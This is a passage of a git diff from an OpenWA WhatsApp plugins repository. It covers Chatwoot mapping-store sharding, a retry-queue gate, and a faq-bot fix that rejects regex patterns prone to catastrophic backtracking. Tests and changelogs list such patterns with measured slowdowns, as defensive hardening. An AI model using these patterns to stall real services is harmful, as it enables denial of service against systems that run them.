this.storage.get(this.mapBucketKey(shardOf(key))); + const hit = bucket?.[key]; + if (hit !== undefined) return hit as T; + return this.storage.get(key); + } + + // Write one mapping into its bucket, then retire the standalone key it used to live under so an + // upgraded install actually sheds those files instead of carrying their stat cost forever. The retire + // is best-effort: the value is already durable in the bucket and readMapped consults the bucket first, + // so a leftover can never shadow it. + private async writeMapped(key: string, value: unknown): Promise { + const bucketKey = this.mapBucketKey(shardOf(key)); + // Serialized per bucket, exactly like markSeen and for the same reason: a bucket is a + // read-modify-write shared across chats and every await inside it is a round-trip to the host, so two + // chats that hash together would interleave and the later write would erase the earlier chat's + // mapping. A lost mapping re-creates that chat's Chatwoot conversation and splits its thread. The + // per-chat locks cannot prevent it: they are keyed by chat, and a shard is shared across chats. + await this.bucketLock.run(bucketKey, async () => { + const bucket = (await this.storage.get(bucketKey)) ?? {}; + bucket[key] = value; + await this.storage.set(bucketKey, bucket); + }); + await this.storage.delete(key).catch(() => undefined); + } + + // Drop one mapping from its bucket AND the standalone key. Both: readMapped falls back to the + // standalone key, so emptying only the bucket would leave an unlinked mapping still readable and the + // 404 recovery would keep resolving the conversation it just dropped. + private async deleteMapped(key: string): Promise { + const bucketKey = this.mapBucketKey(shardOf(key)); + await this.bucketLock.run(bucketKey, async () => { + const bucket = await this.storage.get(bucketKey); + if (!bucket || !(key in bucket)) return; + delete bucket[key]; + await this.storage.set(bucketKey, bucket); + }); + await this.storage.delete(key); + } + getByChat(sessionId: string, chatId: string): Promise { - return this.storage.get(this.fwdKey(sessionId, chatId)); + return this.readMapped(this.fwdKey(sessionId, chatId)); } // Resolve the WA chat for a Chatwoot conversation. With a `sessionId` (a delivery that carries its @@ -136,10 +198,10 @@ export class MappingStore { sessionId?: string, ): Promise<{ sessionId: string; chatId: string } | null> { if (sessionId) { - const scoped = await this.storage.get<{ sessionId: string; chatId: string }>(this.revKey(sessionId, conversationId)); + const scoped = await this.readMapped<{ sessionId: string; chatId: string }>(this.revKey(sessionId, conversationId)); if (scoped) return scoped; } - const legacy = await this.storage.get(this.legacyRevKey(conversationId)); + const legacy = await this.readMapped(this.legacyRevKey(conversationId)); // Marked once a second session claimed the same conversation id. A scope-less delivery carries // nothing that says which tenant it belongs to, so there is no right answer to pick here. if (!legacy || 'ambiguous' in legacy) return null; @@ -147,19 +209,19 @@ export class MappingStore { } async link(sessionId: string, chatId: string, instanceId: string, link: ChatLink): Promise { - await this.storage.set(this.fwdKey(sessionId, chatId), link); + await this.writeMapped(this.fwdKey(sessionId, chatId), link); const rev = { sessionId, chatId }; - await this.storage.set(this.revKey(sessionId, link.conversationId), rev); // tenant-scoped lookup + await this.writeMapped(this.revKey(sessionId, link.conversationId), rev); // tenant-scoped lookup // The unscoped key exists only so mappings written before scoping keep resolving. A Chatwoot // conversation id is unique per ACCOUNT, not per gateway, so two relayed accounts collide on it as // a matter of course — and whoever linked last used to win the key. Claim it only while it is // unclaimed, and mark it unusable once a second session claims the same id. const legacyKey = this.legacyRevKey(link.conversationId); - const legacy = await this.storage.get(legacyKey); + const legacy = await this.readMapped(legacyKey); if (!legacy) { - await this.storage.set(legacyKey, rev); + await this.writeMapped(legacyKey, rev); } else if (!('ambiguous' in legacy) && legacy.sessionId !== sessionId) { - await this.storage.set(legacyKey, { ambiguous: true }); + await this.writeMapped(legacyKey, { ambiguous: true }); } await this.mappings.upsert({ sessionId, chatId, instanceId }, String(link.conversationId)); } @@ -167,7 +229,7 @@ export class MappingStore { async patch(sessionId: string, chatId: string, patch: Partial): Promise { const existing = await this.getByChat(sessionId, chatId); if (!existing) return; - await this.storage.set(this.fwdKey(sessionId, chatId), { ...existing, ...patch }); + await this.writeMapped(this.fwdKey(sessionId, chatId), { ...existing, ...patch }); } // Idempotency markers, split so the caller controls WHEN the mark lands (outbound marks only AFTER a @@ -323,16 +385,16 @@ export class MappingStore { } async unlinkByChatId(sessionId: string, chatId: string) { - await this.storage.delete(this.fwdKey(sessionId, chatId)); + await this.deleteMapped(this.fwdKey(sessionId, chatId)); } async unlinkByConversationId(sessionId: string, conversationId: number) { - await this.storage.delete(this.revKey(sessionId, conversationId)); + await this.deleteMapped(this.revKey(sessionId, conversationId)); // Only if it is ours. Deleting it unconditionally removed another tenant's fallback along with // our own, silently dropping their agent replies until their next inbound message rebuilt it. - const legacy = await this.storage.get(this.legacyRevKey(conversationId)); + const legacy = await this.readMapped(this.legacyRevKey(conversationId)); if (legacy && !('ambiguous' in legacy) && legacy.sessionId === sessionId) { - await this.storage.delete(this.legacyRevKey(conversationId)); + await this.deleteMapped(this.legacyRevKey(conversationId)); } } } diff --git a/chatwoot-adapter/retry.ts b/chatwoot-adapter/retry.ts index 179facd..770cf3c 100644 --- a/chatwoot-adapter/retry.ts +++ b/chatwoot-adapter/retry.ts @@ -40,11 +40,13 @@ export interface DrainDeps { // serializes with a concurrent live inbound for the same chat). Success drops the entry; a failure bumps // its attempt count, and once attempts reach `maxAttempts` the message is dead-lettered (logged + dropped) // rather than retried forever. `relay` re-posts the message and throws on failure. Returns how many were -// dead-lettered this run, for the plugin health check. +// dead-lettered this run, for the plugin health check. `canRelay` gates an entry before any of that: +// see the note at the skip below. export async function drainRetries( deps: DrainDeps, relay: (sessionId: string, chatId: string, msg: IncomingMessage) => Promise, maxAttempts: number, + canRelay: (sessionId: string) => boolean = () => true, ): Promise<{ deadLettered: number }> { // Stream by key so a large media backlog is never fully resident: fetch one entry at a time. const keys = await deps.store.listRetryKeys(); @@ -52,6 +54,13 @@ export async function drainRetries( for (const key of keys) { const e = await deps.store.getRetry(key); if (!e) continue; // key vanished since the scan (already drained/dropped) — nothing to do + // ctx.storage is plugin-GLOBAL, so this queue holds EVERY session's entries while the tick that + // drains it runs outside any hook dispatch, the one place a per-session config resolves. An entry + // whose session the caller cannot resolve a config for is left exactly as it is: not relayed (that + // would post it to whichever Chatwoot the base config names) and not bumped (the message cannot fix + // the condition, and maxAttempts ticks of that would dead-letter it). It drains on a later tick, + // once that session has dispatched a hook again. + if (!canRelay(e.sessionId)) continue; // Lock on the RAW chatId, same deterministic key live inbound uses for this chat. @lid canonicalization // is a lookup concern handled inside relayInbound (best-effort), not a lock concern. await deps.lock.run(`${e.sessionId}:${e.chatId}`, async () => { diff --git a/faq-bot/CHANGELOG.md b/faq-bot/CHANGELOG.md index e932aa1..8e2b4bd 100644 --- a/faq-bot/CHANGELOG.md +++ b/faq-bot/CHANGELOG.md @@ -8,6 +8,29 @@ The version here always matches `manifest.json`'s `version`. ## [Unreleased] +## [0.2.6] - 2026-08-25 + +### Fixed + +- **Ambiguous repeated alternations are rejected at parse time.** `(a|a)*`, `(a|ab)+`, + `^([a-z]|[a-z0-9])+$` and `^(\w|\d)+$` all let the regex engine consume the same text more than one + way, which is exponential: the third takes 259 ms against 23 characters and over a minute against 31, + well inside the body cap. One short message from any stranger pinned the plugin worker, and because a + running regex cannot be interrupted, every later message queued behind it and the plugin stopped + answering. Unambiguous alternations such as `(one|two|three)+` are unaffected, including where two + branches share a first letter. +- The same inbound text is now answered at most once every 10 seconds per chat. A rule whose reply also + matches its own pattern is a fixed point, and an autoresponder on the other end traded messages with + it at full rate, repeating one canned line. The throttle keys on that repeated text rather than on the + rule, so two different questions are both answered even when they match the same rule. +- A shared contact card or a poll no longer matches a rule or draws `fallbackReply`. OpenWA 0.23.2 fills + the message body for both, and a vCard is free text (name, organization, notes, numbers) that readily + matches a `contains` or `regex` rule. Business button and list replies are still answered. + +### Changed + +- **Verified against OpenWA v0.23.3** (testedOpenWAVersion 0.23.0 → 0.23.3). + ## [0.2.5] - 2026-08-20 ### Changed diff --git a/faq-bot/README.md b/faq-bot/README.md index 3d08ec4..7af2848 100644 --- a/faq-bot/README.md +++ b/faq-bot/README.md @@ -14,13 +14,13 @@ | Field | Value | | ----- | ----- | | **Identifier** | `faq-bot` | -| **Version** | 0.2.5 | -| **Released** | 2026-08-20 | +| **Version** | 0.2.6 | +| **Released** | 2026-08-25 | | **Status** | stable | | **Author** | Yudhi Armyndharis | | **License** | MIT | | **Type** | `extension` | -| **Requires OpenWA** | ≥ 0.6.1 (tested 0.23.0) | +| **Requires OpenWA** | ≥ 0.6.1 (tested 0.23.3) | | **Keywords** | faq, auto-reply, chatbot, support, whatsapp, openwa | | **Repository** | [OpenWA-plugins/faq-bot](https://github.com/rmyndharis/OpenWA-plugins/tree/main/faq-bot) | @@ -89,6 +89,10 @@ Targets OpenWA **≥ 0.6.1** (sandboxed plugin runtime). Live config edits (`PUT immediately on builds that forward `onConfigChange` to sandboxed plugins (the #430 follow-ups); on v0.6.0/v0.6.1 a disable + re-enable is needed after changing rules. +Shared contact cards and polls never match a rule and never draw `fallbackReply`: from OpenWA 0.23.2 +both carry text in the message body, and a vCard is free text that matches ordinary `contains` and +`regex` rules by accident. Tapped business buttons and list replies are still answered. + ### Per-session config **Supported.** Every config field (`rules`, `fallbackReply`, `fallbackCooldownSec`, @@ -107,11 +111,22 @@ rule sets. `regex` patterns are operator-authored (trusted) and tested against at most the first 1000 characters of a message. At parse time every pattern is screened for catastrophic-backtracking shapes — nested, -adjacent-overlapping, and repeated-variable-width quantifiers (e.g. `(a+)+`, `.*.*.*`, `(a?){40}`) — and -an unsafe one is skipped with a warning. This parse-time screen is the real safeguard: the sandbox hook +adjacent-overlapping, and repeated-variable-width quantifiers (e.g. `(a+)+`, `.*.*.*`, `(a?){40}`), plus +ambiguous repeated alternations (`(a|a)*`, `(a|ab)+`, `^([a-z]|[a-z0-9])+$`, `^(\w|\d)+$`) — and an +unsafe one is skipped with a warning. This parse-time screen is the real safeguard: the sandbox hook timeout lets the host proceed but cannot interrupt a synchronous regex already running in the plugin -worker, so a pattern that slips through would still pin that worker. Overlapping-alternation patterns -(e.g. `(a|a)*`) are a known class the screen does not yet cover. +worker, so a pattern that slips through would still pin that worker. + +An alternation is only rejected when two branches can consume the same text, so ordinary keyword sets +like `(one|two|three)+` and `^(ya|tidak)$` are unaffected even where two branches share a first letter. +The screen is a heuristic rather than a decision procedure: it covers the shapes that occur in real rule +sets, and the 1000-character body cap remains as the second line of defence. + +The same inbound text is answered at most once every 10 seconds per chat. A rule whose reply also +matches its own pattern is a fixed point, and an autoresponder on the other end would otherwise trade +messages with it indefinitely, repeating one canned line as it goes. The throttle keys on that repeated +text rather than on the rule, so two different questions are both answered even when they match the same +rule. ## Changelog diff --git a/faq-bot/index.test.ts b/faq-bot/index.test.ts index 46464d8..08ad7cf 100644 --- a/faq-bot/index.test.ts +++ b/faq-bot/index.test.ts @@ -32,6 +32,7 @@ async function runHook( config: { rules: Array<{ mode: string; pattern: string; reply: string }> } & Record, body: string, onReply?: (text: string) => void, + type = 'text', ) { const { rules: ruleList, ...rest } = config; let handler: ((hook: unknown) => Promise<{ continue: boolean }>) | undefined; @@ -44,10 +45,43 @@ async function runHook( await new FaqBot().onEnable(ctx as never); return handler!({ source: 'Engine', sessionId: 's1', timestamp: new Date(), - data: { id: 'm1', chatId: 'c@x', body, fromMe: false, isGroup: false }, + data: { id: 'm1', chatId: 'c@x', body, type, fromMe: false, isGroup: false }, }); } +// A shared contact card and a poll carry real text in `body` from host 0.23.2 on, so a non-empty body +// is no longer proof a human typed something at this bot. A vCard is free text and matches ordinary +// rules readily; `fallbackReply` would answer one and claim the event from a plugin that handles media. +const VCARD = 'BEGIN:VCARD\nVERSION:3.0\nFN:Budi Santoso\nORG:Toko Berkah\nTEL;TYPE=CELL:+628123456789\nEND:VCARD'; + +test('a shared contact card never matches a rule and never claims the message', async () => { + const replies: string[] = []; + const rules = [{ mode: 'contains', pattern: 'toko', reply: 'Which store?' }]; + const matchedAsText = await runHook({ rules }, VCARD, t => replies.push(t)); + assert.equal(matchedAsText.continue, false, 'guard rail: as plain text this vCard DOES match the rule'); + + replies.length = 0; + const asContact = await runHook({ rules }, VCARD, t => replies.push(t), 'contact'); + assert.equal(asContact.continue, true, 'a contact card must pass down the chain'); + assert.deepEqual(replies, [], 'and must draw no reply'); +}); + +test('a poll question never draws the fallback reply', async () => { + const replies: string[] = []; + const cfg = { rules: [{ mode: 'contains', pattern: 'xyzzy', reply: 'hit' }], fallbackReply: 'I did not understand' }; + const asPoll = await runHook(cfg, 'Where should we eat on Friday?', t => replies.push(t), 'poll'); + assert.equal(asPoll.continue, true, 'a poll must pass down the chain'); + assert.deepEqual(replies, [], 'the fallback must not answer a poll'); +}); + +test('a business button reply is still answered: type unknown stays admitted', async () => { + const replies: string[] = []; + const rules = [{ mode: 'exact', pattern: 'Order status', reply: 'Order 123 is on the way' }]; + const tapped = await runHook({ rules }, 'Order status', t => replies.push(t), 'unknown'); + assert.equal(tapped.continue, false, 'a tapped button is real user input and must be answered'); + assert.deepEqual(replies, ['Order 123 is on the way']); +}); + // Responder band (PLUGIN-STANDARD.md "Co-installation"): keyword rules are more specific than a bot that // answers everything, less specific than a command prefix. test('registers at the faq-bot responder priority', async () => { @@ -222,3 +256,47 @@ test('a failed fallback send releases the cooldown slot instead of silencing the await fire('m2'); assert.equal(delivered, 1, 'the next message must be able to retry the fallback'); }); + +test('the same repeated text is answered once, but different questions are all answered', async () => { + // A rule whose reply matches its own pattern is a fixed point, and an autoresponder on the other end + // then answers each of this plugin's replies forever, repeating one canned message. The throttle is + // keyed on that repeated TEXT, not on the rule: keying on the rule would silence a customer's second, + // genuinely different question whenever it happened to match the same rule, which costs more than the + // loop it prevents. + const rules = [ + { mode: 'contains', pattern: 'harga', reply: 'Harga mulai 50rb' }, + { mode: 'contains', pattern: 'jam', reply: 'Buka 09.00-17.00' }, + ]; + const sent: string[] = []; + let handler: ((h: unknown) => Promise<{ continue: boolean }>) | undefined; + const ctx = makeCtx({ + config: { rules: JSON.stringify(rules) }, + registerHook: (_e, h) => { handler = h as (hook: unknown) => Promise<{ continue: boolean }>; }, + reply: async (_s, _c, _q, text) => { sent.push(text); return { messageId: 'x', timestamp: 0 }; }, + }); + const { default: FaqBot } = await import('./index.ts'); + await new FaqBot().onEnable(ctx as never); + const fire = (body: string, id: string) => + handler!({ source: 'Engine', sessionId: 's1', timestamp: new Date(), + data: { id, chatId: 'c@x', body, type: 'text', fromMe: false, isGroup: false } }); + + // The loop shape: one canned message arriving over and over. + const canned = 'Terima kasih, cek harga di katalog kami'; + const first = await fire(canned, 'm1'); + await fire(canned, 'm2'); + await fire(canned, 'm3'); + assert.equal(first.continue, false, 'a matched message is claimed'); + assert.deepEqual(sent, ['Harga mulai 50rb'], 'the repeat is answered once, so the exchange cannot run away'); + + // Two DIFFERENT customer questions that both match the `harga` rule must both be answered. + await fire('berapa harga paket A?', 'm4'); + await fire('kalau harga paket B?', 'm5'); + assert.deepEqual( + sent, + ['Harga mulai 50rb', 'Harga mulai 50rb', 'Harga mulai 50rb'], + 'a different question matching the same rule is still answered', + ); + + await fire('jam berapa buka', 'm6'); + assert.equal(sent.length, 4, 'and a different rule is unaffected'); +}); diff --git a/faq-bot/index.ts b/faq-bot/index.ts index a38e0e4..365dee1 100644 --- a/faq-bot/index.ts +++ b/faq-bot/index.ts @@ -43,8 +43,18 @@ export function parseConfig(raw: Record): { // a command prefix. const HOOK_PRIORITY = 80; +// Minimum gap before the SAME inbound text is answered again in the same chat. Hardcoded, like the retry +// cadence in the other plugins: it exists to stop a runaway exchange, not to be tuned. A rule whose own +// reply matches its own pattern is a fixed point, and an autoresponder on the other end then answers each +// of this plugin's replies forever, at full message rate, repeating one canned message as it goes. +// Keyed on the text rather than the rule or the chat, so two different questions are both answered even +// when they match the same rule. +const MATCHED_REPLY_COOLDOWN_MS = 10_000; + export default class FaqBot implements IPlugin { private readonly fallbackAt = new Map(); + /** `${sessionId}:${chatId}:${pattern}` -> last answer for that rule, for MATCHED_REPLY_COOLDOWN_MS. */ + private readonly matchedAt = new Map(); async onEnable(ctx: PluginContext): Promise { this.warnSkipped(ctx); // fail-fast + surface any invalid regex rules at enable @@ -79,6 +89,12 @@ export default class FaqBot implements IPlugin { // would answer a picture with "I did not understand" and claim the event away from a plugin that // could actually handle media. chat-flow guards the same way. if (m.fromMe || typeof m.body !== 'string' || !m.body.trim() || !m.chatId || !m.id) return false; + // Since host 0.23.2 a shared contact card arrives with its full vCard as the body and a poll with + // its question, so a non-empty body no longer means a human typed it. A vCard is free text (name, + // org, notes, numbers) and readily matches a `contains` or `regex` rule; with `fallbackReply` set, + // an unmatched card would answer and claim the event. 'unknown' stays admitted: business button and + // list replies land there and are real answers to a question this bot asked. + if (m.type === 'contact' || m.type === 'poll') return false; // Re-parse per event so a per-session config override (resolved by the host for this hook fire) is // honored — a snapshot cached at enable would ignore overrides set via the dashboard after enable. @@ -96,7 +112,22 @@ export default class FaqBot implements IPlugin { const rule = matchRule(cfg.rules, m.body); try { if (rule) { - await ctx.messages.reply(sessionId, m.chatId, m.id, rule.reply); + // Keyed on the INBOUND TEXT, not on the rule. A runaway exchange repeats the same message: the + // other end's autoresponder sends one canned reply, this plugin answers, and that same canned + // reply arrives again. Keying on the rule instead would have suppressed a customer's second, + // genuinely different question whenever it happened to match the same rule ("berapa harga paket + // A?" then "kalau harga paket B?"), which costs far more than the loop it prevents. + // Claimed either way: the message matched a rule, so it is this plugin's, and the standard + // allows a claim to resolve to silence. + const key = `${sessionId}:${m.chatId}:${m.body.trim().toLowerCase().slice(0, 200)}`; + if (!allowCooldown(this.matchedAt, key, Date.now(), MATCHED_REPLY_COOLDOWN_MS)) return true; + try { + await ctx.messages.reply(sessionId, m.chatId, m.id, rule.reply); + } catch (e) { + // Release the window: a reply that never arrived must not silence the next identical question. + this.matchedAt.delete(key); + throw e; + } return true; } if (cfg.config.fallbackReply) { diff --git a/faq-bot/manifest.json b/faq-bot/manifest.json index 9179683..31656ce 100644 --- a/faq-bot/manifest.json +++ b/faq-bot/manifest.json @@ -1,7 +1,7 @@ { "id": "faq-bot", "name": "FAQ / Auto-Reply Bot", - "version": "0.2.5", + "version": "0.2.6", "type": "extension", "main": "dist/index.js", "description": "Auto-replies to inbound WhatsApp messages from configurable FAQ keyword/regex rules.", @@ -19,7 +19,7 @@ ], "status": "stable", "minOpenWAVersion": "0.6.1", - "testedOpenWAVersion": "0.23.0", + "testedOpenWAVersion": "0.23.3", "provides": [ "auto-reply" ], diff --git a/faq-bot/rules.test.ts b/faq-bot/rules.test.ts index aafb068..2abe9cf 100644 --- a/faq-bot/rules.test.ts +++ b/faq-bot/rules.test.ts @@ -218,3 +218,28 @@ test('a nullable group does not break a run of adjacent unbounded quantifiers', // A group that must consume still breaks the run, which is what makes these patterns safe. assert.equal(isSafeRegexPattern('.*(x).*(y).*!'), true); }); + +test('an ambiguous repeated alternation is rejected, an unambiguous one is kept', () => { + // Two branches that can consume the SAME text give the engine more than one way forward at each + // position, and it must try them all on failure. Measured on the real engine: `^([a-z]|[a-z0-9])+$` + // takes 259 ms against 23 characters and over a minute against 31, well inside the 1000-char body cap, + // and JS regex execution cannot be interrupted. One short message from a stranger pinned the worker, + // and every later message queued behind it, so the plugin silently stopped answering. + for (const pattern of ['(a|a)*$', '^([a-z]|[a-z0-9])+$', '^(\\w|\\d)+$', '(a|ab)+', '(x|xy|xyz)+']) { + assert.equal(isSafeRegexPattern(pattern), false, `should reject: ${pattern}`); + } + // Sharing a first character is NOT enough: `two` and `three` both start with `t` but diverge at the + // next character, so no input can split two ways. Rejecting these would break ordinary keyword rules. + for (const pattern of ['(one|two|three)+', '(cat|dog)', '^(yes|no)$', '(foo|bar)*', '(ya|tidak)+', 'hal(o|lo)']) { + assert.equal(isSafeRegexPattern(pattern), true, `should accept: ${pattern}`); + } +}); + +test('an accepted alternation stays fast at the full input cap', () => { + // The guard rail for the test above: proving a pattern is accepted is only meaningful if accepting it + // is actually safe. + const re = new RegExp('^(one|two|three)+$'); + const started = performance.now(); + re.test('one'.repeat(333) + 'x'); + assert.ok(performance.now() - started < 100, 'an accepted alternation must not backtrack'); +}); diff --git a/faq-bot/rules.ts b/faq-bot/rules.ts index 1d02fc9..d28389d 100644 --- a/faq-bot/rules.ts +++ b/faq-bot/rules.ts @@ -65,12 +65,78 @@ function quantifierAt( const overlaps = (a: string, b: string): boolean => a === 'ANY' || b === 'ANY' || a === b; +/** Turn an atom key back into a regex source safe to compile on its own. */ +function atomSource(key: string): string { + if (key.startsWith('\\') || key.startsWith('[')) return key; + return key.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} + +/** The printable-ASCII characters an atom can match, or null when that cannot be decided (treated as + * "matches anything"). Exact over the range an operator's rule realistically uses. Compiling a single + * atom and testing it against one character cannot itself backtrack, and this runs once when config is + * parsed, never per message. */ +function firstCharSet(key: string): Set | null { + if (key === 'ANY') return null; + let re: RegExp; + try { + re = new RegExp(`^(?:${atomSource(key)})$`, 'u'); + } catch { + return null; // unparseable on its own: assume it overlaps, fail closed + } + const out = new Set(); + for (let c = 32; c <= 126; c++) { + const ch = String.fromCharCode(c); + try { + if (re.test(ch)) out.add(ch); + } catch { + return null; + } + } + return out; +} + +/** One top-level branch of an alternation. `literal` is the branch's exact text when it is nothing but + * unquantified literal characters, else null. `first` is the key of its first atom, or null when that + * could not be reduced to one atom (a branch opening with a group). */ +export interface Branch { + literal: string | null; + first: string | null; +} + +/** True when a REPEATED alternation is ambiguous: two branches can consume the same text, so at each + * position the engine has more than one way forward and must try them all on failure. That is what + * turns `(a|a)*` and `^([a-z]|[a-z0-9])+$` exponential. + * + * Two literal branches are ambiguous only when one is a PREFIX of the other (`a` and `ab`, or two equal + * branches). Sharing a first character is not enough on its own: `(one|two|three)+` has two branches + * starting `t`, but they diverge at the next character and the engine can never split the same text two + * ways. Anything not reducible to a literal falls back to first-character overlap, which is + * conservative, and an unknown branch counts as overlapping so the check fails closed. */ +function branchesAmbiguous(branches: Branch[]): boolean { + for (let a = 0; a < branches.length; a++) { + for (let b = a + 1; b < branches.length; b++) { + const x = branches[a]; + const y = branches[b]; + if (x.literal !== null && y.literal !== null) { + if (x.literal.startsWith(y.literal) || y.literal.startsWith(x.literal)) return true; + continue; + } + if (x.first === null || y.first === null) return true; + const sx = firstCharSet(x.first); + const sy = firstCharSet(y.first); + if (sx === null || sy === null) return true; + for (const ch of sx) if (sy.has(ch)) return true; + } + } + return false; +} + /** A group repeated this many times (or unbounded) with a variable-width body backtracks catastrophically; * a smaller bounded repeat is bounded by the constant and safe. */ const REPEAT_THRESHOLD = 10; /** - * Conservatively reject patterns prone to catastrophic backtracking. Three classes are closed: + * Conservatively reject patterns prone to catastrophic backtracking. Four classes are closed: * 1. an unbounded quantifier on a group that itself contains one — `(a+)+`, `((a+))+`, `(\w+\s?)*`; * 2. THREE OR MORE adjacent unbounded quantifiers over overlapping atoms in one concatenation — * `.*.*.*`, `\w*\w*\w*` (O(n^3)+); TWO adjacent (`.*.*`, `.*\d+`) is only O(n^2), safe under the @@ -78,12 +144,29 @@ const REPEAT_THRESHOLD = 10; * 3. an unbounded or ≥REPEAT_THRESHOLD repeat of a group whose body has a variable-width quantifier — * `(a?){40}`, `(a?)+` (exponential); a small bounded repeat of a VARIABLE body like `(ab?){2}` is * allowed, but any repeat of an UNBOUNDED body is not — see (1). + * 4. a REPEATED group whose top-level alternation is AMBIGUOUS, i.e. two branches can consume the same + * text: `(a|a)*`, `(a|ab)+`, `^([a-z]|[a-z0-9])+$`, `^(\w|\d)+$`. The engine then has more than one + * way forward at each position and must try them all, which is exponential and saturates far below + * the input cap (`^([a-z]|[a-z0-9])+$` needs 259 ms at 23 characters and over a minute at 31). + * `(one|two|three)+` is NOT this shape: two branches start `t` but diverge immediately, so no text + * splits two ways. See branchesAmbiguous. * Character classes follow JS semantics (`[]` empty, `[^]` any). Accepted patterns run on the native engine - * unchanged. Overlapping-alternation (`(a|a)*`) is still not modelled — a documented residual. Fails closed. + * unchanged. Fails closed: anything the walker cannot reduce is treated as unsafe. + * + * This is a heuristic, not a decision procedure. It models the shapes that actually reach an operator's + * config; a determined author can still write something pathological that it accepts, which is why the + * body cap and the plugin's own guards remain. */ export function isSafeRegexPattern(p: string): boolean { if (p.length > MAX_PATTERN_LENGTH) return false; - const stack: { hasUnbounded: boolean; hasVariable: boolean; savedPrev: string | null; savedRun: number }[] = []; + const stack: { + hasUnbounded: boolean; + hasVariable: boolean; + savedPrev: string | null; + savedRun: number; + // One record per top-level branch of THIS group; see Branch. + branches: Branch[]; + }[] = []; // Rule 2 state: the key of the previous unbounded-quantified atom in the current flat concatenation, // or null after a mandatory atom / `|` / group boundary (which break adjacency). let prevUnbounded: string | null = null; @@ -92,23 +175,47 @@ export function isSafeRegexPattern(p: string): boolean { while (i < p.length) { const c = p[i]; - if (c === '|') { prevUnbounded = null; adjacentRun = 0; i++; continue; } + if (c === '|') { + prevUnbounded = null; adjacentRun = 0; + if (stack.length) stack[stack.length - 1].branches.push({ literal: '', first: null }); + i++; continue; + } if (c === '(') { // The run so far is parked, not discarded: whether this group breaks it depends on whether it can // match empty, which is only known at the closing paren. - stack.push({ hasUnbounded: false, hasVariable: false, savedPrev: prevUnbounded, savedRun: adjacentRun }); + if (stack.length) { + // A nested group means this branch is no longer a plain literal and its first character is not a + // single atom. Both are recorded as unknown, which branchesAmbiguous treats as overlapping. + const br = stack[stack.length - 1].branches; + const cur = br[br.length - 1]; + if (cur) { cur.literal = null; if (cur.first === null) cur.first = null; } + } + stack.push({ + hasUnbounded: false, hasVariable: false, savedPrev: prevUnbounded, savedRun: adjacentRun, + branches: [{ literal: '', first: null }], + }); prevUnbounded = null; adjacentRun = 0; i++; if (p[i] === '?') { i++; if (p[i] === '<') i++; if (p[i] === ':' || p[i] === '=' || p[i] === '!') i++; } continue; } if (c === ')') { - const frame = stack.pop() ?? { hasUnbounded: false, hasVariable: false, savedPrev: null, savedRun: 0 }; + const frame = stack.pop() ?? { + hasUnbounded: false, hasVariable: false, savedPrev: null, savedRun: 0, + branches: [] as Branch[], + }; const q = quantifierAt(p, i + 1); // (1) nested unbounded. A BOUNDED repeat counts too once it repeats at all: `(a+){3}` expands to // `a+a+a+`, which backtracks exponentially — the constant bounds the repeat, not the search. if ((q.unbounded || q.count >= 2) && frame.hasUnbounded) return false; if (q.count >= REPEAT_THRESHOLD && frame.hasVariable) return false; // (3) large/unbounded repeat of a variable body + // (4) a REPEATED group whose top-level alternation branches can start with the same character. + // The engine then has two ways to consume each character and must try both on failure, which is + // exponential: `^([a-z]|[a-z0-9])+$` needs over a minute on a 31-character input, well inside the + // body cap, and JS regex execution cannot be interrupted. + if ((q.unbounded || q.count >= 2) && frame.branches.length >= 2 && branchesAmbiguous(frame.branches)) { + return false; + } if (stack.length) { if (q.unbounded || frame.hasUnbounded) stack[stack.length - 1].hasUnbounded = true; if (q.variable || frame.hasVariable) stack[stack.length - 1].hasVariable = true; @@ -124,6 +231,17 @@ export function isSafeRegexPattern(p: string): boolean { const atom = atomAt(p, i); const q = quantifierAt(p, i + atom.len); + if (stack.length) { + const br = stack[stack.length - 1].branches; + const cur = br[br.length - 1]; + if (cur) { + if (cur.first === null) cur.first = atom.key; + // The branch stays a literal only while every atom is a bare, unquantified single character. + if (cur.literal !== null) { + cur.literal = !q.present && atom.len === 1 && atom.key !== 'ANY' ? cur.literal + atom.key : null; + } + } + } if (stack.length && q.variable) stack[stack.length - 1].hasVariable = true; if (q.unbounded) { if (stack.length) stack[stack.length - 1].hasUnbounded = true; diff --git a/group-translate/CHANGELOG.md b/group-translate/CHANGELOG.md index d435795..d174c32 100644 --- a/group-translate/CHANGELOG.md +++ b/group-translate/CHANGELOG.md @@ -8,6 +8,39 @@ The version here always matches `manifest.json`'s `version`. ## [Unreleased] +## [1.3.6] - 2026-08-25 + +### Changed + +- **`minOpenWAVersion` raised to 0.8.0.** The plugin resolves the operator's backend host through + `net.allowConfigHosts`, which first shipped in OpenWA 0.8.0. On a 0.7.x host it installed and enabled + cleanly and then translated nothing, because only the shipped loopback entries were reachable. +- **`/tr status` is now admin-only.** It prints the participant roster (who is ignored, who holds + delegated control, the language recorded for each member), which is the plugin's own access-control + state, and it answered any group member on every attempt. +- **`/tr help` is answered at most once a minute per group.** It is the only reply an unauthorized user + can draw, so repeating it was a way to make the bot post into the group indefinitely; the denial + reply is opt-in for exactly that reason. + +### Fixed + +- A `libretranslateUrl` the host cannot use is now named at enable time. A value with no scheme, + embedded credentials, or a query string is refused by the host at the capability boundary, which + surfaced only as translation silently never happening. The URL itself is never logged. +- A failed language detection records why. An unreachable backend, a refused fetch and an SSRF-blocked + address all returned without writing anything, so a group that had stopped being translated left no + trace of the cause. + +- A shared contact card is no longer translated. OpenWA 0.23.2 fills the message body with the card's + vCard, which sent a third party's name and number to the translation backend, posted a + machine-translated card back into the group, and let language detection pin the sender's language + from vCard field names on their first shared card. Poll questions are still translated: a poll + question is ordinary prose. + +### Changed + +- **Verified against OpenWA v0.23.3** (testedOpenWAVersion 0.23.0 → 0.23.3). + ## [1.3.5] - 2026-08-20 ### Changed diff --git a/group-translate/README.md b/group-translate/README.md index 2a0bccb..7b4d540 100644 --- a/group-translate/README.md +++ b/group-translate/README.md @@ -5,7 +5,7 @@ ![type: extension](https://img.shields.io/badge/type-extension-blue.svg) ![license: MIT](https://img.shields.io/badge/license-MIT-green.svg) -![built for OpenWA](https://img.shields.io/badge/OpenWA-%E2%89%A5%200.7.0-25D366.svg) +![built for OpenWA](https://img.shields.io/badge/OpenWA-%E2%89%A5%200.8.0-25D366.svg) [![downloads](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Frmyndharis%2FOpenWA-plugins%2Fbadges%2Fdownloads%2Fgroup-translate.json)](https://github.com/rmyndharis/OpenWA-plugins/releases?q=group-translate) ## Details @@ -14,13 +14,13 @@ | Field | Value | | ----- | ----- | | **Identifier** | `group-translate` | 